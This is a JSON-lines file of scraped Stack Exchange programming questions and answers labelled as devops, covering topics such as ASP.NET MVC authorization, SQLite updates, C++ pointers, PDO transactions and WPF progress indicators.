{"id": "hf_b326b54a3602", "question": "<p>how do you handle them?</p>\n", "question_body": "", "answer": "In domain names, you can do use IDN domains, if they are supported by the registrars you want to register them with.\nElsewhere in the URL, they are generally sent by the browser as utf8 urlencoded. Only recently I was looking at:\nhttp://en.wikipedia.org/wiki/Pfeffern%C3%BCsse\nAnd found it curious that there was a ü in the URL. Firefox shows it as a proper character though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.055913"}
{"id": "hf_af9554ae6d8a", "question": "<p>Every time I start Visual Studio 2008, the first time I try to run the project I get the error CS0006 The metadata file ... could not be found. If I do a rebuild of the complete solution it works.</p>\n\n<p>Some information about the solution:</p>\n\n<ul>\n<li><p>I'm building in debug mode and Visual Studio complains about not finding dll:s in the release folder.</p></li>\n<li><p>The projects Visual Studio complains about are used by many other projects in the solution.</p></li>\n<li><p>I have changed the default output path of all projects to a ......\\build\\debug\\ProjectName and ......\\build\\release\\ProjectName respectively. (Just to get all build files in one directory)</p></li>\n<li><p>I have the same problem with a another solution. </p></li>\n<li><p>The solution was created from scratch.</p></li>\n<li><p>There are 9 projects in the solution. One WPF and 8 class libraries using dotnet 3.5.</p></li>\n</ul>\n\n<p>Any ideas on what is causing this problem?</p>\n", "question_body": "", "answer": "I had this issue, not sure if it will help but mine was caused by having two different versions of the same project referenced by two different solutions.  When I built the solution with the reference to the correct project first the second solution would build fine, however, if I cleaned the first solution and tried to build the second solution it would fail with these dll reference error messages.\nThe solution for me was figuring out I had two projects with the same name which had been accidentally duplicated and removing the reference to the old incorrect project and adding a reference to the new one.\nIn any case it seems that these messages are a bit of a red herring, I would check your build output and find the first project that fails to build and very carefully check the references on that project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.080615"}
{"id": "hf_9eec1f732a79", "question": "<p>This is a question brought up in a local user group mailing list at dot.net.nz ...</p>\n\n<blockquote>\n  <p>I when I create an XHTML page\n  old-fashioned way, I used to use the\n  following syntax for my CSS\n  declarations:</p>\n</blockquote>\n\n<pre><code>&lt;link rel=”stylesheet” type=”text/css” media=”screen” href=”css/screen.css” /&gt;\n\n&lt;link rel=”stylesheet” type=”text/css” media=”print” href=”css/printer.css” /&gt;\n</code></pre>\n\n<blockquote>\n  <p>Now, since I code using ASP.NET 2.0\n  and beyond; I fell in love with the\n  Themes. However, I don’t know how to\n  do the same thing using Themes.</p>\n</blockquote>\n", "question_body": "", "answer": "You can declare the media type inside the stylesheets. For example, printer.css:\n```\n```\n@media print\n{\n    /* Print CSS rules here */\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.104327"}
{"id": "hf_2ab3173d1160", "question": "<p>Assuming the following directory structure,</p>\n\n<pre><code>htdocs/\n  images/\n  css/\n  .htaccess\nsystem/\n  index.php\n  ...\n</code></pre>\n\n<p>I would like to route all incoming requests through that php script. I have been trying some rewrite rules within the htaccess, but I can't seem to be able to route to files that are outside the document root. I couldn't find a reason for this in the apache manuals, so eventually resorted to \"Include\" an apache config file, where the rules are different.</p>\n\n<p>Is there a way of rewriting outside of the docroot?</p>\n", "question_body": "", "answer": "No, you cannot route outside the docroot without potentially enormous risk.\nYou should place the\n```\nindex.php\n```\nwithin the\n```\nhtdocs\n```\nfolder and rewrite it there, not outside.  If you were to rewrite to handle the index, accessing outside the docroot, and you made one little mistake it's potentially exploited by any hacker rewriting the request string.  Not pretty!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.127902"}
{"id": "hf_c3a588763118", "question": "<p>In <code>SQL Server</code>, I can do something like this:</p>\n<pre><code>UPDATE tbl1 \n   SET col2 = tbl2.col2 \n  FROM table1 tbl1 \n INNER JOIN table2 tbl2 \n    ON tbl1.col1 = tbl2.col1\n</code></pre>\n<p>I haven't bothered to look whether this is part of any SQL standard or not, and I'm sure there are other ways to do it, but it is <em>astoundingly</em> useful.</p>\n<p>Here's my problem. I need to do something similar <em>in SQL</em> (i.e, not a host language) with SQLITE3. Can it be done?</p>\n", "question_body": "", "answer": "I've discovered this can be done with\n```\nINSERT OR REPLACE INTO\n```\n. A little more verbose than T-SQL's equivalent, but just as handy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.218566"}
{"id": "hf_62b9273c0138", "question": "<p>A good friend of mine works for a large asp.net shop, with a web farm with many web servers (dozens).  The application logs exceptions and messages to the event log on each box (not to a centralized location).</p>\n\n<p>Does anyone know of a convenient way to perform unified reporting on event logs on a number of different boxes?</p>\n\n<p>Or, which is better: \n- write tools that connect to each event log on each box?\n- change architecture to log events to the database?\n- some other mechanism I haven't considered?</p>\n", "question_body": "", "answer": "I would use\nLog4Net\n(or something similar) for the logging, saving the files to disk, and rotating log file periodically. (I'm not a big fan of the Windows event log, personally.) Then have a background service on each box which uploads the log file into a database table - keeping track of which log entry came from which box.\nThis gives simple searching over the whole web farm while maintaining the information about which log entry came from where.\nSimilar questions:\n\"Is writing server log files to a database a good idea?\"\n\"Logging for web application\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.247710"}
{"id": "hf_c9a16206c317", "question": "<p>Is there a medium-sized Clojure sample application that could be used as a \"best-practices\" example, and a good way to see what such an application would look like in terms of code and code organization? A web application would be particularly interesting to me, but most important is that the program do something commonly useful (blog, bug-tracking, CMS, for example), and not something mathematical that I've never ever had to implement in the real world (solving the N-queens problem, simulating Life, generate Fibonacci sequences, and such usual fare of function programming languages).</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "If you browse the\nclojure-contrib\nsource code you can see how libraries are implemented in clojure.\nYou can also checkout \"\nClojureScript\n\" under the same source tree.\nAllows code written in a very small\n      subset of Clojure to be automatically translated to JavaScript.\nThe ClojureScript translator is a full Clojure app.\nI'd also recomend checking out the Stewart Halloway's\nPort of Practical Common Lisp samples to Clojure\nif you haven't already.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.312799"}
{"id": "hf_48afb37646bd", "question": "<p>What's the best way to consume REST web services from .NET?</p>\n", "question_body": "", "answer": "Probably WCF; check out\nhttp://hyperthink.net/blog/announcing-the-wcf-rest-starter-kit/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.360688"}
{"id": "hf_2f6d9ca84771", "question": "<p>I'd like to automatically login to VSS when I open it, and skip the login prompt altogether.  Is this possible?</p>\n", "question_body": "", "answer": "Answering my own question:\n1 - Right-click My Computer, click Properties\n2 - Click \"Advanced\" -> \"Environment Variables\"\n3 - Under User variables for , click \"New\".\n4 - Variable name = \"SSUSER\", Variable Value = < your VSS username >\n5 - Repeat steps 3 & 4 for \"SSPWD\" and < your VSS password >", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.409526"}
{"id": "hf_99962542d21f", "question": "<p>Has anybody seen such a thing? Small self-sufficient modules are preferred.</p>\n", "question_body": "", "answer": "SymPy\nis a symbolic maths library written entirely in Python and has full support for rational numbers.  From the\ntutorial\n:\n```\n```\n>>> from sympy import *\n>>> a = Rational(1,2)\n\n>>> a\n1/2\n\n>>> a*2\n1\n\n>>> Rational(2)**50/Rational(10)**50\n1/88817841970012523233890533447265625\n```\n```\nThere is also GMP for Python (\nGMPY\n) which, while not pure Python, is probably more efficient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.460066"}
{"id": "hf_4c456ecc2ad4", "question": "<p>In C++, on the stack, a simple variable is assigned a memory address so that we can use a pointer to contain this memory to point to it; then is a pointer also assigned a memory address?</p>\n\n<p>If yes, can we have a pointer of pointers?</p>\n", "question_body": "", "answer": "Yes, you are right. We can have pointers to pointers:\n```\n```\nint a;\nint b;\nint * pa = &a;\nint ** ppa = &pa;\n\n// set a to 10\n**ppa = 10;\n\n// set pa so it points to b. and then set b to 11.\n*ppa = &b;\n**ppa = 11;\n```\n```\nRead it from right to left:\nppa is a pointer to a pointer to an int\n. It's not limited to\n```\n**\n```\n. You can have as many levels as you want.\n```\nint ***\n```\nwould be a\npointer to pointer to pointer to int\n.\nI answered a similar question regarding whether primitive variables have addresses here:\nIs primitive assigned a memory address?\n, the same applies to pointers too. In short, if you never take the address of an object, the compiler doesn't have to assign it an address: It can keep its value in a register.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.535035"}
{"id": "hf_1d94ad7f53e3", "question": "<p>I understand how Map is easily parallelizable - each computer/CPU can just operate on a small portion of the array.</p>\n\n<p>Is Reduce/foldl parallelizable? It seems like each computation depends on the previous one. Is it just parallelizable for certain types of functions?</p>\n", "question_body": "", "answer": "Not sure what platform/language you're thinking of, but you can parallelize reduce operators like this:\n```\n```\n// Original\nresult = null;\nforeach(item in map) {\n    result += item;\n}\n\n// Parallel\nresultArray = array();\nmapParts = map.split(numThreads);\nforeach(thread) {\n    result = null;\n    foreach(item in mapParts[thread]) {\n        result += item;\n    }\n    resultArray += result;    // Lock this!\n}\nwaitForThreads();\nreduce(resultArray);\n```\n```\nAs you can see, a parallel implementation is easily recursive.  You split the map up, operate on each part in its own thread, then perform another reduce once those threads are done to bring the pieces together.\n(This is the programmatic reasoning behind\nPiotr Lesnick's answer\n.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.598461"}
{"id": "hf_6709f502cfcc", "question": "<p>I've got an ASP.NET application running and on the production box it's using about 450MB RAM, however, it shouldn't be using quite so much, and it seems to increase over time, so it seems there might be a leak or atleast something not being released properly. </p>\n\n<p>I took a look with PerfMon and there was 416MB in GC Gen2. </p>\n\n<p>Anyone have any idea for finding out what it's keeping in memory? Could I just grab dotTrace/ANTS and somehow attach it to my IIS (6 - on windows server 2003) - or is there a better way? :-)</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Although this is a specific blog about a technology you're probably not using it does cover how to diagnose memory issues -\nhttp://blogs.msdn.com/tess/archive/2008/09/12/asp-net-memory-issues-high-memory-usage-with-ajaxpro.aspx\nDig through Tess's work, she's got a lot of debugging/ diagnosis posts and I'm sure  you can find more which are of use to you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.684232"}
{"id": "hf_b028d77456b1", "question": "<p>in Microsoft Access, is there a way which I can programatically set the Confirm Action Queries flag on the options screen to False? Ideally when the database is started up I would like to check if it's true, and if so, mark it as false for the currently logged in user.</p>\n\n<p>The application is locked down reasonably tightly, so ideally, we don't want to have to give users acces to the action menu.</p>\n\n<p>Thanks in advance.</p>\n\n<p>PG</p>\n", "question_body": "", "answer": "Place the following in a method when the database starts:\n```\n```\nIf Application.GetOption(\"Confirm Action Queries\") Then\n    Application.SetOption \"Confirm Action Queries\", False\nEnd If\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.709036"}
{"id": "hf_e91063349068", "question": "<p>i have code like, sorry i dont have the exact code now. but its valid.</p>\n\n<pre><code>&lt;iframe src=\"...\" borderframe=\"0\" scrolling=\"no\" width=728px\" height=\"90px\"&gt;&lt;/iframe&gt;\n</code></pre>\n\n<p>the target is a html file that contains code for a banner. \neverything displays well. but when i resize browser or go to maximize. the content is shiftet to the left by 1 pixel. so the banner is displayed missing the first vertical 1px line. and only 727px is visible.</p>\n\n<p>anyone has an idea?</p>\n\n<p>thank you.</p>\n", "question_body": "", "answer": "I have an idea, but you haven't given us the whole picture, so I might be way off.\nI would guess that the iframe is positioned with a percentage or some sort of division calculation like 40% left of parent.  Then at certain browser widths this number doesn divide evenly and gets truncated.  Say it is at 100px in from the left side, and you shrink the parent by 2/3rds so that its positioning would become 66.66 pixels, and the browser cuts this off to 66, giving an apparent error of one pixel left.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.733958"}
{"id": "hf_97f70d241cde", "question": "<p>I've recently started with Python, and am enjoying the \"batteries included\" design. I'e already found out I can import time, math, re, urllib, but don't know how to know that something is builtin rather than writing it from scratch.</p>\n\n<p>What's included, and where can I get other good quality libraries from?</p>\n", "question_body": "", "answer": "The Python Global Module Index (\nhttp://docs.python.org/modindex.html\n) lists out every module included in Python 2.6.\nSourceforge has all sorts of good Python modules - one that came in handy for me recently was PyExcelerator, a module for writing straight to MS Excel workbooks.  The Python Package Index, (\nhttp://pypi.python.org/\n) is also a good source of Python modules.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.759043"}
{"id": "hf_b3404c3dd109", "question": "<p>I would like to use <code>[Authorize]</code> for every action in my admin controller except the <code>Login</code> action. </p>\n\n<pre><code>[Authorize (Roles = \"Administrator\")]\npublic class AdminController : Controller\n{\n    // what can I place here to disable authorize?\n    public ActionResult Login()\n    {\n        return View();\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "I don't think you can do this with the standard Authorize attribute, but you could derive your own attribute from AuthorizeAttribute that takes a list of actions to allow and allows access to just those actions.  You can look at the source for the AuthorizeAttribute at\nwww.codeplex.com\nfor ideas on how to do this.  If you did, it might look like:\n```\n```\n[AdminAuthorize (Roles = \"Administrator\", Exempt = \"Login, Logout\") ]\npublic class AdminController : Controller\n{\n    public ActionResult Login()\n    {\n        return View();\n    }\n\n    public ActionResult Login()\n    {\n        return View();\n    }\n\n    ... other, restricted actions ...\n}\n```\n```\nEDIT\n:  FYI, I eventually ran across a need to do something similar on my own and I went a different direction.  I created a default authorization filter provider and apply a global authorize filter.  The authorization filter provider uses reflection to check if an action or controller has a specific authorize attribute applied and, if so, defers to it.  Otherwise, it applies a default authorization filter.  This is coupled with a PublicAttribute derived from AuthorizeAttribute that allows public access.  Now, I get default secured access, but can grant public access via\n```\n[Public]\n```\napplied to an action or controller.  More specific authorization can also be applied as necessary.  See my blog at\nhttp://farm-fresh-code.blogspot.com/2011/04/default-authorization-filter-provider.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.784488"}
{"id": "hf_ce44e2735d5d", "question": "<p>I'm using the following code to have a non-JS navigation:</p>\n\n<pre><code>&lt;ol id=\"navigation\"&gt;\n    &lt;li id=\"home\"&gt;&lt;a href=\"#\"&gt;&lt;img src=\"./images/nav/home-hover.png\" alt=\"Home\" /&gt;&lt;/li&gt;\n    ...\n&lt;/ol&gt;\n</code></pre>\n\n<p>And the CSS:</p>\n\n<pre><code>#navigation a {\n    display: block;\n    height: 25px;\n}\n\n#navigation a img {\n    display: none;\n}\n\n#navigation a:hover img {\n    display: block;\n}\n\n#home a {\n    background: url('./images/nav/home-normal.png') no-repeat;\n    width: 100px;\n}\n</code></pre>\n\n<p>My problem is they won't change images on hover in IE6. I'm using the <code>:hover</code> on an anchor so that should be fine and am using <code>display</code> rather than <code>visibility</code> which is another thing that doesn't work in IE6.</p>\n\n<p>I'd really like not having to add a load of javascript for image replacing/preloading (embedding something like jQuery isn't an option) - can anyone help me here?</p>\n\n<p>Thanks,</p>\n", "question_body": "", "answer": "IE doesn't repaint anchors unless any rule on\n```\n<a>\n```\nitself changes. Add anything for\n```\na:hover\n```\n, e.g.:\n```\n```\n#navigation a:hover {border:0} /* no-op */\n```\n```\nBTW: unfortunately popular screen readers don't read things with\n```\ndisplay:none\n```\n, so your menu ends up being inaccessible.\nI suggest having\n```\n<img>\n```\nvisible by default, and hiding it on hover.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.826717"}
{"id": "hf_36dd957f60b2", "question": "<p>There is a simple C++ method to use pattern matching on strings? The code should sound like this:</p>\n\n<pre><code>if (regexpcmp(\"l?nole*[0-9]\", \"linoleum1\")) {\n  //we have a match!\n} else {\n   //no match \n}\n</code></pre>\n", "question_body": "", "answer": "Did you already look at\nBoost.Regex\n?\n```\n```\nconst boost::regex e(\"l?nole*[0-9]\");\nif (regex_match(\"linoleum1\", e)) {\n  //we have a match!\n} else {\n  //no match \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.857484"}
{"id": "hf_dff8ba4f8678", "question": "<p>How do I embed a WMV file in an ASP.NET Web page? I want it visible as a player, not just a link. Is there an ASP.NET control for this? I don't see one on the VS 2008 toolbar, and can't find one in the help. And I'm not yet ready to move this site to Silverlight, where media is really easy.</p>\n", "question_body": "", "answer": "WMV is primarily a Microsoft file format.  There is no inherent browser support for this format, so you're going to need a browser plugin to play it.\nI'm pretty sure you can embed Windows Media Player on a page to play it, but that'll limit you to clients running Windows and who happen to have Media Player installed.\nIf you need to support a wide audience, I'd seriously consider re-encoding your video to something like FLV and using a Flash based video player.  I haven't got statistics to hand that back this up - but Flash Video is the most widely supported video format in the browser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.881732"}
{"id": "hf_99ae39aa2541", "question": "<p>What's the best way to get a list of users that are assigned to a SharePoint portal?</p>\n", "question_body": "", "answer": "It depends on exactly what list of users you want.\nAll users that exist in a SharePoint web (but don't necessarily have permission):\nSPWeb.AllUsers\nUsers that exist in a SharePoint web but have been granted some permission:\nSPWeb.Users\nUsers that exist in a SharePoint site collection (but don't necessarily have permission):\nSPWeb.SiteUsers\nNote: I am assuming you are using WSS 3.0 / MOSS 2007 but this should work for WSS 2.0.\nAlso look at:\nSPWeb.AllUsers vs. SPWeb.Users\nSPWeb.AllUsers vs. SPWeb.Users vs. SPWeb.Groups", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.912137"}
{"id": "hf_5c446116edf2", "question": "<p>I have <code>DataTemplate</code> containing a <code>TextBox</code>. I'm setting this template to a listbox item on a selection.</p>\n\n<p>I'm unable to set focus to textbox in the template. I tried to call MyTemplate.FindName, but it ends up with an Invalid Operation Exception: This operation is valid only on elements that have this template applied.</p>\n\n<p>How can I access it?</p>\n", "question_body": "", "answer": "Since you know the name of the\n```\nTextBox\n```\nyou want to focus, this becomes relatively easy. The idea is to get hold of the template as it's applied to the\n```\nListBoxItem\n```\nitself.\nFirst thing you want to do is get the selected item:\n```\n```\nvar item = listBox1.ItemContainerGenerator.ContainerFromItem(listBox1.SelectedItem) as ListBoxItem;\n```\n```\nThen you can pass that into this little helper function which focuses a control based on its name:\n```\n```\npublic void FocusItem(ListBoxItem item, string name)\n{\n    if (!item.IsLoaded)\n    {\n        // wait for the item to load so we can find the control to focus\n        RoutedEventHandler onload = null;\n        onload = delegate\n        {\n            item.Loaded -= onload;\n            FocusItem(item, name);\n        };\n        item.Loaded += onload;\n        return;\n    }\n\n    try\n    {\n        var myTemplate = FindResource(\"MyTemplateKey\") as FrameworkTemplate; // or however you get your template right now\n\n        var ctl = myTemplate.FindName(name, item) as FrameworkElement;\n        ctl.Focus();\n    }\n    catch\n    {\n        // focus something else if the template/item wasn't found?\n    }\n}\n```\n```\nI guess the tricky bit is making sure you wait for the item to load. I had to add that code because I was calling this from the\n```\nItemContainerGenerator.StatusChanged\n```\nevent and sometimes the\n```\nListBoxItem\n```\nhadn't been fully initialized by the time we entered the method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.947968"}
{"id": "hf_eab096278b32", "question": "<p>Is it possble to have something like this in ASP.NET MVC...</p>\n\n<pre><code>[Authorize]\n[AcceptVerbs(HttpVerbs.Get)]\npublic string AddData(string Issues, string LabelGUID)\n{\n    return \"Authorized\";\n}\n\n[AcceptVerbs(HttpVerbs.Get)]\npublic string AddData()\n{\n    return \"Not Authorized\";\n}\n</code></pre>\n\n<p>So if the user is not logged in, it defaults to the un-Authorized action.</p>\n", "question_body": "", "answer": "I don't believe so. The controller action with the best parameter match will get selected and then the attributes will be applied.\nYou could use\n```\n```\nif (Request.IsAuthenticated)\n{  \n    return \"Authorized\";\n}\nelse\n{  \n    return \"Not Authorized\";\n}\n```\n```\nUnder the hood [Authorize] is essentially doing the same thing\n```\n```\nprotected virtual bool AuthorizeCore(IPrincipal user)\n{\n    if (user == null)\n    {\n        throw new ArgumentNullException(\"user\");\n    }\n\n    if (!user.Identity.IsAuthenticated)\n    {\n        return false;\n    }\n\n    ...snip...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:03.972648"}
{"id": "hf_7787c9499c79", "question": "<p>Well basically I have this script that takes a long time to execute and occasionally times out and leaves semi-complete data floating around my database. (Yes I know in a perfect world I would fix THAT instead of implementing commits and rollbacks but I am forced to not do that)</p>\n\n<p>Here is my basic code (dumbed down for simplicity):</p>\n\n<pre><code>$database = new PDO(\"mysql:host=host;dbname=mysql_db\",\"username\",\"password\");\n\nwhile (notDone())\n{\n    $add_row = $database-&gt;prepare(\"INSERT INTO table (columns) VALUES (?)\");\n    $add_row-&gt;execute(array('values'));\n\n    //PROCESSING STUFF THAT TAKES A LONG TIME GOES HERE\n}\n\n$database = null;\n</code></pre>\n\n<p>So my problem is that if that if the entire process within that while loop isn't complete then I don't want the row inserted to remain there.  I think that somehow I could use commits/rollbacks at the beginning and end of the while loop to do this but don't know how.</p>\n", "question_body": "", "answer": "Take a look at\nthis tutorial\non transactions with PDO.\nBasically wrap the long running code in:\n```\n```\n$dbh->beginTransaction();\n...\n$dbh->commit();\n```\n```\nAnd\naccording to this PDO document page\n:\n\"When the script ends or when a connection is about to be closed, if you have an outstanding transaction, PDO will automatically roll it back.  \"\nSo you will lose the transaction that was pending when the script timed out.\nBut really, you ought to redesign this so that it doesn't depend on the scriipt staying alive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.050358"}
{"id": "hf_ffc733189d9a", "question": "<p>One thing I really like about AS3 over AS2 is how much more compile-time type-checking it adds. However, it seems to be somewhat lacking in that there is no type-checked enumeration structure available. What's a good (best / accepted) way to do custom enumerated types in AS3?</p>\n", "question_body": "", "answer": "your answer after the jump :-)\nEnumerations with classes", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.100830"}
{"id": "hf_98500764287c", "question": "<p>How do I achieve authorization with MVC asp.net?</p>\n", "question_body": "", "answer": "There is an Authorization feature with MVC, using ASP.NET MVC beta and creating the MVC project from Visual Studio, automatically adds a controller that used authorization. One thing that will help with your google search, is that it is a \"filter\". So try searching on \"Authorization Filter MVC\" and anything preview 4 or greater will help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.125490"}
{"id": "hf_c107571e41df", "question": "<p>How can I use Connection pool in Java+MySQL+Tomcat 6? </p>\n\n<p>I've read this article <a href=\"http://dev.mysql.com/tech-resources/articles/connection_pooling_with_connectorj.html\" rel=\"noreferrer\">http://dev.mysql.com/tech-resources/articles/connection_pooling_with_connectorj.html</a> but it is still not quite clear for me. </p>\n\n<p>Where do I use the Connector/J? Do I put it in a static variable? Do I use a SessionListener? Does it need any configuration?</p>\n\n<p>Thank you in advance!</p>\n", "question_body": "", "answer": "You should read the\nTomcat 6 JNDI document\n. Look for the \"JDBC Data Sources\" section and it will tell you everything you need to know about pooling connections with Tomcat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.149277"}
{"id": "hf_6739eea4fc18", "question": "<p>In a WPF UserControl, I have to make to call to a WebService. I am making this call on a separate thread but I want to inform the user that the call may take some time. </p>\n\n<p>The WebMethod returns me a collection of objects and I bind it to a ListBox in my UC. So far, so good... This part works really well. However, <strong>I want to display a progress bar (or an animation of any kind...) during the call. This animation would be on top and centered in the ListBox control.</strong></p>\n\n<p>I tried Adorner and it partially works. However, I have to draw all controls in protected override void OnRender(DrawingContext drawingContext)... I simply want to add a control for a couple of seconds...</p>\n\n<p>Anybody has an idea of how I could achieve this?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Don't go with the adorner - what I do is have two separate container controls (usually grids) that occupy the same area of the screen. One is my \"progress\" control, and the other is my \"content\" control. I set the visibility of the progress control to Collapsed and the visibility of the content control to Visible by default.\nIf you have it set up that way, when you start the asynchronous call to the webservice you can make the progress control visible and the content control collapsed. When the webservice finishes, have it use Dispatcher.BeginInvoke to update the UI, and at that point, switch the progress control back to collapsed and the content control back to visible.\nI generally make the progress control indeterminate. Here is an example; in this, I have a separate UserControl called ProgressGrid that has my progress bar.\n```\n```\n<Grid x:Name=\"layoutRoot\">\n        <Grid x:Name=\"contentGrid\" HorizontalAlignment=\"Center\" VerticalAlignment=\"Center\" Visibility=\"Visible\">\n             <!-- snip -->\n        </Grid>\n\n        <controls:ProgressGrid x:Name=\"progressGrid\" Text=\"Signing in, please wait...\" Visibility=\"Collapsed\"/>\n    </Grid>\n```\n```\nAnd in the code behind, just something simple like this:\n```\n```\nprivate void SignInCommand_Executed(object sender, ExecutedRoutedEventArgs e)\n    {\n        contentGrid.Visibility = Visibility.Collapsed;\n        progressGrid.Visibility = Visibility.Visible;\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:04.173257"}
